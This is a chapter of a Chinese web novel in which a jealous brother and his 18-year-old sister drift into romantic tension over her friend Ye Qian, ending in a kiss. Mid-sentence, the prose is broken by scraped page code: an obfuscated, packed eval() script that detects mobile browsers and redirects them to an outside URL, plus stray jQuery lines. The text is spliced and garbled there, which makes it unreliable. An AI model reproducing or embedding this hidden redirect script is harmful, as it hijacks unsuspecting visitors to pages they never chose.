19. 听见了
作品:《听得见》 谭禹抱着她,走的很稳当,进了单元楼单手开门,他有健身的习惯,谭溪的重量对他来说,跟小时候没什么区别。
想起小时候,他低头看着睡的很死的谭溪,不由得叹了口气。
他搞砸了自己的计划,他不确定叶虔是否会因为那句多余的解释多想,可是...当亲耳听到叶虔的名字出现在谭溪口中的那一刻,计划就已经崩盘了。
她怎么敢,怎么敢在他的怀里叫别人的名字。
把熟睡中的谭溪放在枕头上,谭禹抽离开垫在背上的胳膊,他动作很轻,生怕吵醒睡梦中的人。
在外面晒了一天,谭溪出了很多的汗,谭禹用浸了温水的洗脸巾给她擦脸。
妹妹的脸颊还是像小时候一样柔软,擦拭过后的脸蛋上有细小的绒毛,像颗粉白的水蜜桃。
他用自己的指腹代替了纸巾,在桃面上留下揉捏的痕迹。
谭溪皱着眉头动弹几下,从嗓子里发出几声腻歪的闷哼声:“嗯..”她迷迷糊糊露出一条眼缝,似乎在辨认面前的人。
谭禹捏着她的脸没动,沉下目光,低声问:“我是谁?”
谭溪的记忆还停留在刚才,乱七八糟的画面在脑海中回闪,她分不清虚实:“叶...”
话没说完,谭禹冷着一张脸,手掌托住她的下颌,将拇指碾在她唇瓣上,粗暴的堵回那个没说完的名字:“谭溪,你给我看清楚,我是谁。”
他力道有点重,眼神也很吓人,谭溪只觉得嘴巴都在发麻,她终于找回几分清醒,用脸颊蹭着他的手心:“哥哥..是哥哥...”
可终究还是抵不过困倦,张开一半的眼睛又沉甸甸的闭上。
谭禹半蹲在床边,注视着她,好半晌才说一句:“乖。”
直到洗脸巾变得冰凉,他才拖着已经发麻的双腿悄步离开。
太阳依旧炙热,越来越高的温度宣告着盛夏的到来。
谭禹点了谭溪最喜欢的草莓冰淇淋,待饭后才拿给她。
“谢谢谢谢!”谭溪挖了满满一勺塞进嘴里,被冰的牙齿发麻,半化的液体含着在唇齿间反复翻滚,迟迟咽不下去。
谭禹习以为常的抽来纸巾垫进手里,搁在她嘴角:“吐出来。”
他想不明白为什么谭溪十八岁了还是小孩心性,更想不明白自己为什么一而再再而三的纵容她。
谭溪不吐,龇牙咧嘴把冰淇淋全部吞下去,吃完还要装乖讨巧,笑的没心没肺。
谭禹自喉间发出一声嗤笑,力道稍重了些,纸巾包裹着指头擦掉她嘴唇上残留的痕迹。
既然买了零食,自然是要找些相配的东西。
谭禹在电视上不停调试,谭溪本以为还是要找以前的老综艺,但看到universal的logo和黄色大眼萌,她才发现这竟然是神偷奶爸4!
谭溪连冰淇淋都顾不上吃,急忙说。
“哥哥,换别的吧。”
小黄人只有咿咿呀呀的腔调,连字幕都没有,这让谭禹怎么看啊。
谭禹反而轻笑,他摸摸谭溪的脑袋,流露出回忆的神色:“小溪,陪你一起看的时候我已经上高中了,你不会真的以为对我来说电影情节很重要吧。”
重要的一直只有妹妹啊。
谭溪怔怔的‘啊’了一声,听明白他的话后,心情一时之间有些复杂。
所以说,在谭禹心里,她还是喜欢看动画片的小朋友?
虽然她依然喜欢,可她不是小孩了,她是个十八岁的、可以谈恋爱可以接吻的成年女性。
谭溪含着勺子苦恼的吐槽:“谁要跟你一起看动画片啊...”
她愤愤出言,语气坚定:“我要跟你一起看动作片!”
谭禹吓得....没控制好手上的动作,按着音量键不松手,一路飙升。
谭溪耳膜都要被炸破,谭禹及时收手,把音量调至正常范围,他握着遥控器的手隐隐发颤,为刺耳的声音,也为妹妹的胆大妄为。
谭溪叹了口气,觉得冰淇淋都失了半分滋味。
算了,现在不要纠结这些,一切等他耳朵恢复。
电影开始没多久,谭溪电话就响了,她用脚趾点点谭禹的腿,示意他顺便递过来。
谭禹的目光掠过上面的备注,多说一句:“叶虔。”
他把电影暂时停掉,以便谭溪更清楚地听到电话的声音。
嘴里还要吃冰淇淋,谭溪干脆按了免提,把手机放在腿上接听,叶虔在问她什么时候回家。
谭溪看了眼谭禹,说:“等开学吧,回家也没人玩,好无聊。”
待在这里就不无聊吗?谭禹想,自己并不是个有趣的人,更别说现在耳朵还‘听不到’,谭溪回家岂不是比待在这里更有意思。
果然,叶虔也疑惑:“你和谭禹哥天天待在一起有什么好玩的。”
谭溪脸色一变,要挂电话:“要你管,没事挂电话了。”
叶虔急了:“别挂别挂,我是想问你等开学了要不要办理不住校,你办的话我也办,我爸给我买了车,到时候我天天接送你。”
谭溪笑出声:“叶虔,通知书还没下来呢你就想的这么长远了,不过你这个建议不错,我考虑考虑。”
几乎是叶虔说出口的一瞬间,谭禹就在脑海中生出了两人出双入对的样子。
一起上课,一起吃饭,一起下课,甚至一起约会。
那一定,很有趣,至少比跟他待在一起有趣。
没由来的嫉恨和心脏的抽痛悄无声息将他淹没,他又一次想起妹妹半梦半醒时的那句呢喃。
为什么是叶虔,凭什么是叶虔。
尖锐的嫉妒达到顶峰,他侧过脸,不想让自己难堪的脸色吓到谭溪。
电话还在继续,很容易就听出叶虔是在故意找话题,谭禹第一次想让自己真的听不到。
如果耳聋,那这些浑身长满尖刺的话就不会钻入他的耳朵,如果耳聋,他就不会听到妹妹的大放厥词,更不会为此彻夜难眠,辗转反侧的思考他们的处境。
他发现自己面临着同样的问题,他此刻对叶虔的感受,到底是出于哥哥的拈酸蘸醋,还是不合时宜的嫉妒。
“呜...”
谭溪忍着的闷哼声惊动了谭禹,他看到因为贪嘴吃了一大口冰淇淋结果被冰的失去表情控制的谭溪,五官乱飞,尽管如此,还是死死含着冰淇淋。
谭禹微微眯起眼睛,两指并拢,强硬的撬开她的嘴唇和牙齿,把那团尚未融化的冰凉抠挖出来,他连纸巾都没来得及垫,直接用手指带出来,冰团在他手上融化。
一触即离的手指温度在谭溪冰到发麻的颊面留下一阵涟漪。
但更要命的,是渐渐融化的冰淇淋从他指尖倾流的画面,淡粉色的,混合了谭溪口水的痕迹从顶端往下流,在掌心聚起浅浅的小水洼。
谭禹抽出纸巾,包裹着,从上到下擦拭干净。
谭溪看的入迷,明明他的动作慢条斯理,可她的心就像是高速行驶的列车,跳动的速度快到几乎要冲破胸腔。
“谭溪?”
叶虔的问题得不到回应,在电话那边又一次的追问。
他的声音惊醒了谭溪的沉迷,她稍显无措的移开目光,却在余光中看到谭禹隐隐带笑的唇角。
看错了吗?谭溪又一次返回去确认,看到的只有他拧眉谴责的样子。
好吧,的确是看错了,哥哥只是看不惯她的毛病。
谭溪讨好似对他笑笑,又抽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178655|196892||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出纸巾递给他,这才继续回答叶虔的问题。
十分钟后,谭溪把挂断的电话扔在身边,又对谭禹抬抬下巴,示意他继续电影。
但谭禹却没有按下暂停键,而是转过身,看向谭溪,声音低沉:“他喜欢你。”
谭溪并未感到惊讶,神色如常的点头:“我知道啊。”
可叶虔从来没有说出过口,让她怎么拒绝?
况且依谭溪之见,叶虔对她的喜欢大概率只是毕业恋爱季催发之下的悸动,毕竟做朋友的这几年,谭溪从没在他身上接收过喜欢的讯号。
或许是因为早早就明白了她对哥哥的感情,她对这种东西还是很敏感的。
谭溪希望他永远都别说,能自己想清楚放下这件事,她跟叶虔做朋友很合拍,做恋人完全没可能。
她的坦然让谭禹感到头大。知道?知道还要跟一个潜在追求者约着出去玩?
难道谭溪在跟叶虔搞暧昧?
既然如此,她又怎么敢口口声声说喜欢哥哥?
她是想要脚踏两条船?还是把他当做叶虔不在时用来消遣的替代品?
谭禹觉得自己是不是太失败了,竟然不知道妹妹对待感情是这种认知。
大脑被这个结论弄得有些眩晕,谭禹抿唇:“小溪,仅哥哥个人观点,叶虔同学并不适合做你的潜在发展对象。”
明明说过不会干涉她任何决定,可当事情真的发生,却发觉曾经的信誓旦旦都是狗屁。
谭溪认真在脑海中审视了叶虔,以及一起出去玩那天叶虔的表现,不明白他什么会得出这样一个结论,她打字问。
“为什么,他哪里不好吗?”
谭禹看着她满是疑问的眼睛,错了过去。事实上,他也说不出叶虔哪里不好,只是跟谭溪不合适,可哪里不合适,他无法明确指出。
谭溪仍然在追问:“那哥哥认为,我应该跟什么样的人谈恋爱呢?”
她甚至换了姿势,从沙发那头凑过来,用那双纯良的眼睛盯着他。
撞进他眼里的视线,跟昨天晚上一样直白而炙热。
谭禹一时分不清楚这到底是询问还是挑衅,他又感受到那股掐着他脖子的濒死感。
他回答不出来,可谭溪偏偏还要追问,她得寸进尺的从沙发上起来,翻身跨坐在他身上,晃着他的身体催促。
谭禹难忍的抿了下唇角,要他怎样回答,难道要他说,这世上根本没人能配得上你?还是说,不管什么叶虔还是李虔都离你越远越好?
但这样一来,他跟谭溪有什么区别。
过界的占有欲不该发生在他们之间。
可此时此刻,愈加亲密的距离让谭禹无暇顾及这些,最严重的过界现如今正在发生。
抬头是她炙热的眼神,低头是她膝盖折起后用力到泛白的肌肤,挤压着的腿肉也紧紧贴在他的身侧,还有刚才无意蹭过的舌尖在手指上留下的触感。
他该庆幸自己立下的明令禁止,否则情况只会更糟糕。
太近了,谭禹几乎要喘不上气,他总觉得谭溪的呼吸已经扑入他身体的每个毛孔。
他不知道谭溪什么时候又滋生出来的胆大,让她敢用这样的姿态坐在自己哥哥身上。
谭禹直起腰杆,往后稍仰,脸上尽是严肃,口吻冷到近乎呵斥:“像什么样子,下去!”
就知道他会是这种反应。
谭溪扁嘴,冲他重重冷哼一声,抓着他的肩膀磨蹭离开。动作太慢了,无异于是对谭禹的凌迟,他看不下去,双手握在她的腰侧,想要将她直接挪走。
手掌拢住腰间的那一刻,屋里的灯忽然暗了,电视机也陷入死寂。
谭禹还没来得及反应,嘴唇忽然被草莓的味道填满。

